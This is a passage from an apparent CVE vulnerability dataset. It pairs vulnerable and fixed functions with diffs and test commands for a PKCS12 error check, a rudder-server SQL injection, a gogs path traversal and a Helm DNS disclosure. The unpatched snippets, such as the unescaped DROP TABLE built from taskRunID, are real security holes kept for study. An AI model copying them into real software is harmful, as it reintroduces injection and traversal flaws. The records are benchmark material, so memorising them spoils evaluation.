ca_alias = ca.friendly_name\n                    ossl_ca = self._cert2ossl(ca.certificate)\n                    if ca_alias is None:\n                        res = self._lib.X509_alias_set1(\n                            ossl_ca, self._ffi.NULL, -1\n                        )\n                    else:\n                        res = self._lib.X509_alias_set1(\n                            ossl_ca, ca_alias, len(ca_alias)\n                        )\n                    self.openssl_assert(res == 1)\n                else:\n                    ossl_ca = self._cert2ossl(ca)\n                ossl_cas.append(ossl_ca)\n                res = self._lib.sk_X509_push(sk_x509, ossl_ca)\n                backend.openssl_assert(res >= 1)\n\n        with self._zeroed_null_terminated_buf(password) as password_buf:\n            with self._zeroed_null_terminated_buf(name) as name_buf:\n                ossl_cert = self._cert2ossl(cert) if cert else self._ffi.NULL\n                ossl_pkey = (\n                    self._key2ossl(key) if key is not None else self._ffi.NULL\n                )\n\n                p12 = self._lib.PKCS12_create(\n                    password_buf,\n                    name_buf,\n                    ossl_pkey,\n                    ossl_cert,\n                    sk_x509,\n                    nid_key,\n                    nid_cert,\n                    pkcs12_iter,\n                    mac_iter,\n                    0,\n                )\n                if p12 == self._ffi.NULL:\n                    errors = self._consume_errors()\n                    raise ValueError(\n                        (\n                            \"Failed to create PKCS12 (does the key match the \"\n                            \"certificate?)\"\n                        ),\n                        errors,\n                    )\n\n            if (\n                self._lib.Cryptography_HAS_PKCS12_SET_MAC\n                and mac_alg != self._ffi.NULL\n            ):\n                self._lib.PKCS12_set_mac(\n                    p12,\n                    password_buf,\n                    -1,\n                    self._ffi.NULL,\n                    0,\n                    mac_iter,\n                    mac_alg,\n                )\n\n        self.openssl_assert(p12 != self._ffi.NULL)\n        p12 = self._ffi.gc(p12, self._lib.PKCS12_free)\n\n        bio = self._create_mem_bio_gc()\n        res = self._lib.i2d_PKCS12_bio(bio, p12)\n        self.openssl_assert(res > 0)\n        return self._read_mem_bio(bio)"}], "vul_patch": "--- a/src/cryptography/hazmat/backends/openssl/backend.py\n+++ b/src/cryptography/hazmat/backends/openssl/backend.py\n@@ -133,6 +133,15 @@\n                     mac_iter,\n                     0,\n                 )\n+                if p12 == self._ffi.NULL:\n+                    errors = self._consume_errors()\n+                    raise ValueError(\n+                        (\n+                            \"Failed to create PKCS12 (does the key match the \"\n+                            \"certificate?)\"\n+                        ),\n+                        errors,\n+                    )\n \n             if (\n                 self._lib.Cryptography_HAS_PKCS12_SET_MAC\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-30625", "cve_description": "rudder-server is part of RudderStack, an open source Customer Data Platform (CDP). Versions of rudder-server prior to 1.3.0-rc.1 are vulnerable to SQL injection. This issue may lead to Remote Code Execution (RCE) due to the `rudder` role in PostgresSQL having superuser permissions by default. Version 1.3.0-rc.1 contains patches for this issue.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/rudderlabs/rudder-server", "patch_url": ["https://github.com/rudderlabs/rudder-server/commit/2f956b7eb3d5eb2de3e79d7df2c87405af25071e", "https://github.com/rudderlabs/rudder-server/commit/9c009d9775abc99e72fc470f4c4c8e8f1775e82a", "https://github.com/rudderlabs/rudder-server/commit/0d061ff2d8c16845179d215bf8012afceba12a30"], "programing_language": "Go", "vul_func": [{"id": "vul_go_28_1", "commit": "725e9e7", "file_path": "router/failed-events-manager.go", "start_line": 91, "end_line": 103, "snippet": "func (fem *FailedEventsManagerT) DropFailedRecordIDs(taskRunID string) {\n\tif !failedKeysEnabled {\n\t\treturn\n\t}\n\n\t// Drop table\n\ttable := fmt.Sprintf(`%s_%s`, failedKeysTablePrefix, taskRunID)\n\tsqlStatement := fmt.Sprintf(`DROP TABLE IF EXISTS %s`, table)\n\t_, err := fem.dbHandle.Exec(sqlStatement)\n\tif err != nil {\n\t\tpkgLogger.Errorf(\"Failed to drop table %s with error: %v\", taskRunID, err)\n\t}\n}"}], "fix_func": [{"id": "fix_go_28_1", "commit": "0d061ff", "file_path": "router/failed-events-manager.go", "start_line": 53, "end_line": 89, "snippet": "func (*FailedEventsManagerT) SaveFailedRecordIDs(taskRunIDFailedEventsMap map[string][]*FailedEventRowT, txn *sql.Tx) {\n\tif !failedKeysEnabled {\n\t\treturn\n\t}\n\n\tfor taskRunID, failedEvents := range taskRunIDFailedEventsMap {\n\t\ttable := getSqlSafeTablename(taskRunID)\n\t\tsqlStatement := fmt.Sprintf(`CREATE TABLE IF NOT EXISTS %s (\n\t\tdestination_id TEXT NOT NULL,\n\t\trecord_id JSONB NOT NULL,\n\t\tcreated_at TIMESTAMP NOT NULL);`, table)\n\t\t_, err := txn.Exec(sqlStatement)\n\t\tif err != nil {\n\t\t\t_ = txn.Rollback()\n\t\t\tpanic(err)\n\t\t}\n\t\tinsertQuery := fmt.Sprintf(`INSERT INTO %s VALUES($1, $2, $3);`, table)\n\t\tstmt, err := txn.Prepare(insertQuery)\n\t\tif err != nil {\n\t\t\t_ = txn.Rollback()\n\t\t\tpanic(err)\n\t\t}\n\t\tcreatedAt := time.Now()\n\t\tfor _, failedEvent := range failedEvents {\n\t\t\tif len(failedEvent.RecordID) == 0 || !json.Valid(failedEvent.RecordID) {\n\t\t\t\tpkgLogger.Infof(\"skipped adding invalid recordId: %s, to failed keys table: %s\", failedEvent.RecordID, table)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t_, err = stmt.Exec(failedEvent.DestinationID, failedEvent.RecordID, createdAt)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t}\n\n\t\tstmt.Close()\n\t}\n}"}, {"id": "fix_go_28_2", "commit": "0d061ff", "file_path": "router/failed-events-manager.go", "start_line": 91, "end_line": 103, "snippet": "func (fem *FailedEventsManagerT) DropFailedRecordIDs(taskRunID string) {\n\tif !failedKeysEnabled {\n\t\treturn\n\t}\n\n\t// Drop table\n\ttable := getSqlSafeTablename(taskRunID)\n\tsqlStatement := fmt.Sprintf(`DROP TABLE IF EXISTS %s`, table)\n\t_, err := fem.dbHandle.Exec(sqlStatement)\n\tif err != nil {\n\t\tpkgLogger.Errorf(\"Failed to drop table %s with error: %v\", taskRunID, err)\n\t}\n}"}, {"id": "fix_go_28_3", "commit": "0d061ff", "file_path": "router/failed-events-manager.go", "start_line": 105, "end_line": 134, "snippet": "func (fem *FailedEventsManagerT) FetchFailedRecordIDs(taskRunID string) []*FailedEventRowT {\n\tif !failedKeysEnabled {\n\t\treturn []*FailedEventRowT{}\n\t}\n\n\tfailedEvents := make([]*FailedEventRowT, 0)\n\n\tvar rows *sql.Rows\n\tvar err error\n\ttable := getSqlSafeTablename(taskRunID)\n\tsqlStatement := fmt.Sprintf(`SELECT %[1]s.destination_id, %[1]s.record_id\n                                             FROM %[1]s `, table)\n\trows, err = fem.dbHandle.Query(sqlStatement)\n\tif err != nil {\n\t\tpkgLogger.Errorf(\"Failed to fetch from table %s with error: %v\", taskRunID, err)\n\t\treturn failedEvents\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tvar failedEvent FailedEventRowT\n\t\terr := rows.Scan(&failedEvent.DestinationID, &failedEvent.RecordID)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tfailedEvents = append(failedEvents, &failedEvent)\n\t}\n\n\treturn failedEvents\n}"}, {"id": "fix_go_28_4", "commit": "0d061ff", "file_path": "router/failed-events-manager.go", "start_line": 192, "end_line": 194, "snippet": "func getSqlSafeTablename(taskRunID string) string {\n\treturn `\"` + strings.ReplaceAll(fmt.Sprintf(`%s_%s`, failedKeysTablePrefix, taskRunID), `\"`, `\"\"`) + `\"`\n}"}], "vul_patch": "--- a/router/failed-events-manager.go\n+++ b/router/failed-events-manager.go\n@@ -1,13 +1,37 @@\n-func (fem *FailedEventsManagerT) DropFailedRecordIDs(taskRunID string) {\n+func (*FailedEventsManagerT) SaveFailedRecordIDs(taskRunIDFailedEventsMap map[string][]*FailedEventRowT, txn *sql.Tx) {\n \tif !failedKeysEnabled {\n \t\treturn\n \t}\n \n-\t// Drop table\n-\ttable := fmt.Sprintf(`%s_%s`, failedKeysTablePrefix, taskRunID)\n-\tsqlStatement := fmt.Sprintf(`DROP TABLE IF EXISTS %s`, table)\n-\t_, err := fem.dbHandle.Exec(sqlStatement)\n-\tif err != nil {\n-\t\tpkgLogger.Errorf(\"Failed to drop table %s with error: %v\", taskRunID, err)\n+\tfor taskRunID, failedEvents := range taskRunIDFailedEventsMap {\n+\t\ttable := getSqlSafeTablename(taskRunID)\n+\t\tsqlStatement := fmt.Sprintf(`CREATE TABLE IF NOT EXISTS %s (\n+\t\tdestination_id TEXT NOT NULL,\n+\t\trecord_id JSONB NOT NULL,\n+\t\tcreated_at TIMESTAMP NOT NULL);`, table)\n+\t\t_, err := txn.Exec(sqlStatement)\n+\t\tif err != nil {\n+\t\t\t_ = txn.Rollback()\n+\t\t\tpanic(err)\n+\t\t}\n+\t\tinsertQuery := fmt.Sprintf(`INSERT INTO %s VALUES($1, $2, $3);`, table)\n+\t\tstmt, err := txn.Prepare(insertQuery)\n+\t\tif err != nil {\n+\t\t\t_ = txn.Rollback()\n+\t\t\tpanic(err)\n+\t\t}\n+\t\tcreatedAt := time.Now()\n+\t\tfor _, failedEvent := range failedEvents {\n+\t\t\tif len(failedEvent.RecordID) == 0 || !json.Valid(failedEvent.RecordID) {\n+\t\t\t\tpkgLogger.Infof(\"skipped adding invalid recordId: %s, to failed keys table: %s\", failedEvent.RecordID, table)\n+\t\t\t\tcontinue\n+\t\t\t}\n+\t\t\t_, err = stmt.Exec(failedEvent.DestinationID, failedEvent.RecordID, createdAt)\n+\t\t\tif err != nil {\n+\t\t\t\tpanic(err)\n+\t\t\t}\n+\t\t}\n+\n+\t\tstmt.Close()\n \t}\n }\n\n--- /dev/null\n+++ b/router/failed-events-manager.go\n@@ -0,0 +1,13 @@\n+func (fem *FailedEventsManagerT) DropFailedRecordIDs(taskRunID string) {\n+\tif !failedKeysEnabled {\n+\t\treturn\n+\t}\n+\n+\t// Drop table\n+\ttable := getSqlSafeTablename(taskRunID)\n+\tsqlStatement := fmt.Sprintf(`DROP TABLE IF EXISTS %s`, table)\n+\t_, err := fem.dbHandle.Exec(sqlStatement)\n+\tif err != nil {\n+\t\tpkgLogger.Errorf(\"Failed to drop table %s with error: %v\", taskRunID, err)\n+\t}\n+}\n\n--- /dev/null\n+++ b/router/failed-events-manager.go\n@@ -0,0 +1,30 @@\n+func (fem *FailedEventsManagerT) FetchFailedRecordIDs(taskRunID string) []*FailedEventRowT {\n+\tif !failedKeysEnabled {\n+\t\treturn []*FailedEventRowT{}\n+\t}\n+\n+\tfailedEvents := make([]*FailedEventRowT, 0)\n+\n+\tvar rows *sql.Rows\n+\tvar err error\n+\ttable := getSqlSafeTablename(taskRunID)\n+\tsqlStatement := fmt.Sprintf(`SELECT %[1]s.destination_id, %[1]s.record_id\n+                                             FROM %[1]s `, table)\n+\trows, err = fem.dbHandle.Query(sqlStatement)\n+\tif err != nil {\n+\t\tpkgLogger.Errorf(\"Failed to fetch from table %s with error: %v\", taskRunID, err)\n+\t\treturn failedEvents\n+\t}\n+\tdefer rows.Close()\n+\n+\tfor rows.Next() {\n+\t\tvar failedEvent FailedEventRowT\n+\t\terr := rows.Scan(&failedEvent.DestinationID, &failedEvent.RecordID)\n+\t\tif err != nil {\n+\t\t\tpanic(err)\n+\t\t}\n+\t\tfailedEvents = append(failedEvents, &failedEvent)\n+\t}\n+\n+\treturn failedEvents\n+}\n\n--- /dev/null\n+++ b/router/failed-events-manager.go\n@@ -0,0 +1,3 @@\n+func getSqlSafeTablename(taskRunID string) string {\n+\treturn `\"` + strings.ReplaceAll(fmt.Sprintf(`%s_%s`, failedKeysTablePrefix, taskRunID), `\"`, `\"\"`) + `\"`\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-30625:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/rudder-server\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestDropFailedRecordIDs$ github.com/rudderlabs/rudder-server/router\n", "unit_test_cmd": null}
{"cve_id": "CVE-2022-1993", "cve_description": "Path Traversal in GitHub repository gogs/gogs prior to 0.12.9.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/gogs/gogs", "patch_url": ["https://github.com/gogs/gogs/commit/9bf748b6c4c9a17d3aa77f6b9abcfae65451febf"], "programing_language": "Go", "vul_func": [{"id": "vul_go_105_1", "commit": "e370657", "file_path": "internal/route/repo/http.go", "start_line": 394, "end_line": 439, "snippet": "func HTTP(c *HTTPContext) {\n\tfor _, route := range routes {\n\t\treqPath := strings.ToLower(c.Req.URL.Path)\n\t\tm := route.re.FindStringSubmatch(reqPath)\n\t\tif m == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\t// We perform check here because route matched in cmd/web.go is wider than needed,\n\t\t// but we only want to output this message only if user is really trying to access\n\t\t// Git HTTP endpoints.\n\t\tif conf.Repository.DisableHTTPGit {\n\t\t\tc.Error(http.StatusForbidden, \"Interacting with repositories by HTTP protocol is disabled\")\n\t\t\treturn\n\t\t}\n\n\t\tif route.method != c.Req.Method {\n\t\t\tc.NotFound()\n\t\t\treturn\n\t\t}\n\n\t\tfile := strings.TrimPrefix(reqPath, m[1]+\"/\")\n\t\tdir, err := getGitRepoPath(m[1])\n\t\tif err != nil {\n\t\t\tlog.Warn(\"HTTP.getGitRepoPath: %v\", err)\n\t\t\tc.NotFound()\n\t\t\treturn\n\t\t}\n\n\t\troute.handler(serviceHandler{\n\t\t\tw:    c.Resp,\n\t\t\tr:    c.Req.Request,\n\t\t\tdir:  dir,\n\t\t\tfile: file,\n\n\t\t\tauthUser:  c.AuthUser,\n\t\t\townerName: c.OwnerName,\n\t\t\townerSalt: c.OwnerSalt,\n\t\t\trepoID:    c.RepoID,\n\t\t\trepoName:  c.RepoName,\n\t\t})\n\t\treturn\n\t}\n\n\tc.NotFound()\n}"}], "fix_func": [{"id": "fix_go_105_1", "commit": "9bf748b", "file_path": "internal/route/repo/http.go", "start_line": 395, "end_line": 446, "snippet": "func HTTP(c *HTTPContext) {\n\tfor _, route := range routes {\n\t\treqPath := strings.ToLower(c.Req.URL.Path)\n\t\tm := route.re.FindStringSubmatch(reqPath)\n\t\tif m == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\t// We perform check here because route matched in cmd/web.go is wider than needed,\n\t\t// but we only want to output this message only if user is really trying to access\n\t\t// Git HTTP endpoints.\n\t\tif conf.Repository.DisableHTTPGit {\n\t\t\tc.Error(http.StatusForbidden, \"Interacting with repositories by HTTP protocol is disabled\")\n\t\t\treturn\n\t\t}\n\n\t\tif route.method != c.Req.Method {\n\t\t\tc.Error(http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\n\t\tcleaned := pathutil.Clean(m[1])\n\t\tif m[1] != \"/\"+cleaned {\n\t\t\tc.Error(http.StatusBadRequest, \"Request path contains suspicious characters\")\n\t\t\treturn\n\t\t}\n\n\t\tfile := strings.TrimPrefix(reqPath, cleaned)\n\t\tdir, err := getGitRepoPath(cleaned)\n\t\tif err != nil {\n\t\t\tlog.Warn(\"HTTP.getGitRepoPath: %v\", err)\n\t\t\tc.Error(http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\n\t\troute.handler(serviceHandler{\n\t\t\tw:    c.Resp,\n\t\t\tr:    c.Req.Request,\n\t\t\tdir:  dir,\n\t\t\tfile: file,\n\n\t\t\tauthUser:  c.AuthUser,\n\t\t\townerName: c.OwnerName,\n\t\t\townerSalt: c.OwnerSalt,\n\t\t\trepoID:    c.RepoID,\n\t\t\trepoName:  c.RepoName,\n\t\t})\n\t\treturn\n\t}\n\n\tc.Error(http.StatusNotFound)\n}"}], "vul_patch": "--- a/internal/route/repo/http.go\n+++ b/internal/route/repo/http.go\n@@ -15,15 +15,21 @@\n \t\t}\n \n \t\tif route.method != c.Req.Method {\n-\t\t\tc.NotFound()\n+\t\t\tc.Error(http.StatusNotFound)\n \t\t\treturn\n \t\t}\n \n-\t\tfile := strings.TrimPrefix(reqPath, m[1]+\"/\")\n-\t\tdir, err := getGitRepoPath(m[1])\n+\t\tcleaned := pathutil.Clean(m[1])\n+\t\tif m[1] != \"/\"+cleaned {\n+\t\t\tc.Error(http.StatusBadRequest, \"Request path contains suspicious characters\")\n+\t\t\treturn\n+\t\t}\n+\n+\t\tfile := strings.TrimPrefix(reqPath, cleaned)\n+\t\tdir, err := getGitRepoPath(cleaned)\n \t\tif err != nil {\n \t\t\tlog.Warn(\"HTTP.getGitRepoPath: %v\", err)\n-\t\t\tc.NotFound()\n+\t\t\tc.Error(http.StatusNotFound)\n \t\t\treturn\n \t\t}\n \n@@ -42,5 +48,5 @@\n \t\treturn\n \t}\n \n-\tc.NotFound()\n+\tc.Error(http.StatusNotFound)\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-25165", "cve_description": "Helm is a tool that streamlines installing and managing Kubernetes applications.`getHostByName` is a Helm template function introduced in Helm v3. The function is able to accept a hostname and return an IP address for that hostname. To get the IP address the function performs a DNS lookup. The DNS lookup happens when used with `helm install|upgrade|template` or when the Helm SDK is used to render a chart. Information passed into the chart can be disclosed to the DNS servers used to lookup the IP address. For example, a malicious chart could inject `getHostByName` into a chart in order to disclose values to a malicious DNS server. The issue has been fixed in Helm 3.11.1. Prior to using a chart with Helm verify the `getHostByName` function is not being used in a template to disclose any information you do not want passed to DNS servers.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/helm/helm", "patch_url": ["https://github.com/helm/helm/commit/5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2"], "programing_language": "Go", "vul_func": [{"id": "vul_go_49_1", "commit": "5bf273d81ba7da1816a55983fae6a6cf4ca29af2", "file_path": "pkg/engine/engine.go", "start_line": 37, "end_line": 45, "snippet": "type Engine struct {\n\t// If strict is enabled, template rendering will fail if a template references\n\t// a value that was not passed in.\n\tStrict bool\n\t// In LintMode, some 'required' template values may be missing, so don't fail\n\tLintMode bool\n\t// the rest config to connect to the kubernetes api\n\tconfig *rest.Config\n}"}, {"id": "vul_go_49_2", "commit": "5bf273d81ba7da1816a55983fae6a6cf4ca29af2", "file_path": "pkg/engine/engine.go", "start_line": 107, "end_line": 193, "snippet": "func (e Engine) initFunMap(t *template.Template, referenceTpls map[string]renderable) {\n\tfuncMap := funcMap()\n\tincludedNames := make(map[string]int)\n\n\t// Add the 'include' function here so we can close over t.\n\tfuncMap[\"include\"] = func(name string, data interface{}) (string, error) {\n\t\tvar buf strings.Builder\n\t\tif v, ok := includedNames[name]; ok {\n\t\t\tif v > recursionMaxNums {\n\t\t\t\treturn \"\", errors.Wrapf(fmt.Errorf(\"unable to execute template\"), \"rendering template has a nested reference name: %s\", name)\n\t\t\t}\n\t\t\tincludedNames[name]++\n\t\t} else {\n\t\t\tincludedNames[name] = 1\n\t\t}\n\t\terr := t.ExecuteTemplate(&buf, name, data)\n\t\tincludedNames[name]--\n\t\treturn buf.String(), err\n\t}\n\n\t// Add the 'tpl' function here\n\tfuncMap[\"tpl\"] = func(tpl string, vals chartutil.Values) (string, error) {\n\t\tbasePath, err := vals.PathValue(\"Template.BasePath\")\n\t\tif err != nil {\n\t\t\treturn \"\", errors.Wrapf(err, \"cannot retrieve Template.Basepath from values inside tpl function: %s\", tpl)\n\t\t}\n\n\t\ttemplateName, err := vals.PathValue(\"Template.Name\")\n\t\tif err != nil {\n\t\t\treturn \"\", errors.Wrapf(err, \"cannot retrieve Template.Name from values inside tpl function: %s\", tpl)\n\t\t}\n\n\t\ttemplates := map[string]renderable{\n\t\t\ttemplateName.(string): {\n\t\t\t\ttpl:      tpl,\n\t\t\t\tvals:     vals,\n\t\t\t\tbasePath: basePath.(string),\n\t\t\t},\n\t\t}\n\n\t\tresult, err := e.renderWithReferences(templates, referenceTpls)\n\t\tif err != nil {\n\t\t\treturn \"\", errors.Wrapf(err, \"error during tpl function execution for %q\", tpl)\n\t\t}\n\t\treturn result[templateName.(string)], nil\n\t}\n\n\t// Add the `required` function here so we can use lintMode\n\tfuncMap[\"required\"] = func(warn string, val interface{}) (interface{}, error) {\n\t\tif val == nil {\n\t\t\tif e.LintMode {\n\t\t\t\t// Don't fail on missing required values when linting\n\t\t\t\tlog.Printf(\"[INFO] Missing required value: %s\", warn)\n\t\t\t\treturn \"\", nil\n\t\t\t}\n\t\t\treturn val, errors.Errorf(warnWrap(warn))\n\t\t} else if _, ok := val.(string); ok {\n\t\t\tif val == \"\" {\n\t\t\t\tif e.LintMode {\n\t\t\t\t\t// Don't fail on missing required values when linting\n\t\t\t\t\tlog.Printf(\"[INFO] Missing required value: %s\", warn)\n\t\t\t\t\treturn \"\", nil\n\t\t\t\t}\n\t\t\t\treturn val, errors.Errorf(warnWrap(warn))\n\t\t\t}\n\t\t}\n\t\treturn val, nil\n\t}\n\n\t// Override sprig fail function for linting and wrapping message\n\tfuncMap[\"fail\"] = func(msg string) (string, error) {\n\t\tif e.LintMode {\n\t\t\t// Don't fail when linting\n\t\t\tlog.Printf(\"[INFO] Fail: %s\", msg)\n\t\t\treturn \"\", nil\n\t\t}\n\t\treturn \"\", errors.New(warnWrap(msg))\n\t}\n\n\t// If we are not linting and have a cluster connection, provide a Kubernetes-backed\n\t// implementation.\n\tif !e.LintMode && e.config != nil {\n\t\tfuncMap[\"lookup\"] = NewLookupFunction(e.config)\n\t}\n\n\tt.Funcs(funcMap)\n}"}], "fix_func": [{"id": "fix_go_49_1", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "pkg/engine/engine.go", "start_line": 37, "end_line": 54, "snippet": "type Engine struct {\n\t// If strict is enabled, template rendering will fail if a template references\n\t// a value that was not passed in.\n\tStrict bool\n\t// In LintMode, some 'required' template values may be missing, so don't fail\n\tLintMode bool\n\t// the rest config to connect to the kubernetes api\n\tconfig *rest.Config\n\t// EnableDNS tells the engine to allow DNS lookups when rendering templates\n\tEnableDNS bool\n}\n\n// New creates a new instance of Engine using the passed in rest config.\nfunc New(config *rest.Config) Engine {\n\treturn Engine{\n\t\tconfig: config,\n\t}\n}"}, {"id": "fix_go_49_2", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "pkg/engine/engine.go", "start_line": 116, "end_line": 210, "snippet": "func (e Engine) initFunMap(t *template.Template, referenceTpls map[string]renderable) {\n\tfuncMap := funcMap()\n\tincludedNames := make(map[string]int)\n\n\t// Add the 'include' function here so we can close over t.\n\tfuncMap[\"include\"] = func(name string, data interface{}) (string, error) {\n\t\tvar buf strings.Builder\n\t\tif v, ok := includedNames[name]; ok {\n\t\t\tif v > recursionMaxNums {\n\t\t\t\treturn \"\", errors.Wrapf(fmt.Errorf(\"unable to execute template\"), \"rendering template has a nested reference name: %s\", name)\n\t\t\t}\n\t\t\tincludedNames[name]++\n\t\t} else {\n\t\t\tincludedNames[name] = 1\n\t\t}\n\t\terr := t.ExecuteTemplate(&buf, name, data)\n\t\tincludedNames[name]--\n\t\treturn buf.String(), err\n\t}\n\n\t// Add the 'tpl' function here\n\tfuncMap[\"tpl\"] = func(tpl string, vals chartutil.Values) (string, error) {\n\t\tbasePath, err := vals.PathValue(\"Template.BasePath\")\n\t\tif err != nil {\n\t\t\treturn \"\", errors.Wrapf(err, \"cannot retrieve Template.Basepath from values inside tpl function: %s\", tpl)\n\t\t}\n\n\t\ttemplateName, err := vals.PathValue(\"Template.Name\")\n\t\tif err != nil {\n\t\t\treturn \"\", errors.Wrapf(err, \"cannot retrieve Template.Name from values inside tpl function: %s\", tpl)\n\t\t}\n\n\t\ttemplates := map[string]renderable{\n\t\t\ttemplateName.(string): {\n\t\t\t\ttpl:      tpl,\n\t\t\t\tvals:     vals,\n\t\t\t\tbasePath: basePath.(string),\n\t\t\t},\n\t\t}\n\n\t\tresult, err := e.renderWithReferences(templates, referenceTpls)\n\t\tif err != nil {\n\t\t\treturn \"\", errors.Wrapf(err, \"error during tpl function execution for %q\", tpl)\n\t\t}\n\t\treturn result[templateName.(string)], nil\n\t}\n\n\t// Add the `required` function here so we can use lintMode\n\tfuncMap[\"required\"] = func(warn string, val interface{}) (interface{}, error) {\n\t\tif val == nil {\n\t\t\tif e.LintMode {\n\t\t\t\t// Don't fail on missing required values when linting\n\t\t\t\tlog.Printf(\"[INFO] Missing required value: %s\", warn)\n\t\t\t\treturn \"\", nil\n\t\t\t}\n\t\t\treturn val, errors.Errorf(warnWrap(warn))\n\t\t} else if _, ok := val.(string); ok {\n\t\t\tif val == \"\" {\n\t\t\t\tif e.LintMode {\n\t\t\t\t\t// Don't fail on missing required values when linting\n\t\t\t\t\tlog.Printf(\"[INFO] Missing required value: %s\", warn)\n\t\t\t\t\treturn \"\", nil\n\t\t\t\t}\n\t\t\t\treturn val, errors.Errorf(warnWrap(warn))\n\t\t\t}\n\t\t}\n\t\treturn val, nil\n\t}\n\n\t// Override sprig fail function for linting and wrapping message\n\tfuncMap[\"fail\"] = func(msg string) (string, error) {\n\t\tif e.LintMode {\n\t\t\t// Don't fail when linting\n\t\t\tlog.Printf(\"[INFO] Fail: %s\", msg)\n\t\t\treturn \"\", nil\n\t\t}\n\t\treturn \"\", errors.New(warnWrap(msg))\n\t}\n\n\t// If we are not linting and have a cluster connection, provide a Kubernetes-backed\n\t// implementation.\n\tif !e.LintMode && e.config != nil {\n\t\tfuncMap[\"lookup\"] = NewLookupFunction(e.config)\n\t}\n\n\t// When DNS lookups are not enabled override the sprig function and return\n\t// an empty string.\n\tif !e.EnableDNS {\n\t\tfuncMap[\"getHostByName\"] = func(name string) string {\n\t\t\treturn \"\"\n\t\t}\n\t}\n\n\tt.Funcs(funcMap)\n}"}, {"id": "fix_go_49_3", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "pkg/action/upgrade.go", "start_line": 43, "end_line": 108, "snippet": "type Upgrade struct {\n\tcfg *Configuration\n\n\tChartPathOptions\n\n\t// Install is a purely informative flag that indicates whether this upgrade was done in \"install\" mode.\n\t//\n\t// Applications may use this to determine whether this Upgrade operation was done as part of a\n\t// pure upgrade (Upgrade.Install == false) or as part of an install-or-upgrade operation\n\t// (Upgrade.Install == true).\n\t//\n\t// Setting this to `true` will NOT cause `Upgrade` to perform an install if the release does not exist.\n\t// That process must be handled by creating an Install action directly. See cmd/upgrade.go for an\n\t// example of how this flag is used.\n\tInstall bool\n\t// Devel indicates that the operation is done in devel mode.\n\tDevel bool\n\t// Namespace is the namespace in which this operation should be performed.\n\tNamespace string\n\t// SkipCRDs skips installing CRDs when install flag is enabled during upgrade\n\tSkipCRDs bool\n\t// Timeout is the timeout for this operation\n\tTimeout time.Duration\n\t// Wait determines whether the wait operation should be performed after the upgrade is requested.\n\tWait bool\n\t// WaitForJobs determines whether the wait operation for the Jobs should be performed after the upgrade is requested.\n\tWaitForJobs bool\n\t// DisableHooks disables hook processing if set to true.\n\tDisableHooks bool\n\t// DryRun controls whether the operation is prepared, but not executed.\n\t// If `true`, the upgrade is prepared but not performed.\n\tDryRun bool\n\t// Force will, if set to `true`, ignore certain warnings and perform the upgrade anyway.\n\t//\n\t// This should be used with caution.\n\tForce bool\n\t// ResetValues will reset the values to the chart's built-ins rather than merging with existing.\n\tResetValues bool\n\t// ReuseValues will re-use the user's last supplied values.\n\tReuseValues bool\n\t// Recreate will (if true) recreate pods after a rollback.\n\tRecreate bool\n\t// MaxHistory limits the maximum number of revisions saved per release\n\tMaxHistory int\n\t// Atomic, if true, will roll back on failure.\n\tAtomic bool\n\t// CleanupOnFail will, if true, cause the upgrade to delete newly-created resources on a failed update.\n\tCleanupOnFail bool\n\t// SubNotes determines whether sub-notes are rendered in the chart.\n\tSubNotes bool\n\t// Description is the description of this operation\n\tDescription string\n\t// PostRender is an optional post-renderer\n\t//\n\t// If this is non-nil, then after templates are rendered, they will be sent to the\n\t// post renderer before sending to the Kubernetes API server.\n\tPostRenderer postrender.PostRenderer\n\t// DisableOpenAPIValidation controls whether OpenAPI validation is enforced.\n\tDisableOpenAPIValidation bool\n\t// Get missing dependencies\n\tDependencyUpdate bool\n\t// Lock to control raceconditions when the process receives a SIGTERM\n\tLock sync.Mutex\n\t// Enable DNS lookups when rendering templates\n\tEnableDNS bool\n}"}, {"id": "fix_go_49_4", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "pkg/action/upgrade.go", "start_line": 169, "end_line": 263, "snippet": "func (u *Upgrade) prepareUpgrade(name string, chart *chart.Chart, vals map[string]interface{}) (*release.Release, *release.Release, error) {\n\tif chart == nil {\n\t\treturn nil, nil, errMissingChart\n\t}\n\n\t// finds the last non-deleted release with the given name\n\tlastRelease, err := u.cfg.Releases.Last(name)\n\tif err != nil {\n\t\t// to keep existing behavior of returning the \"%q has no deployed releases\" error when an existing release does not exist\n\t\tif errors.Is(err, 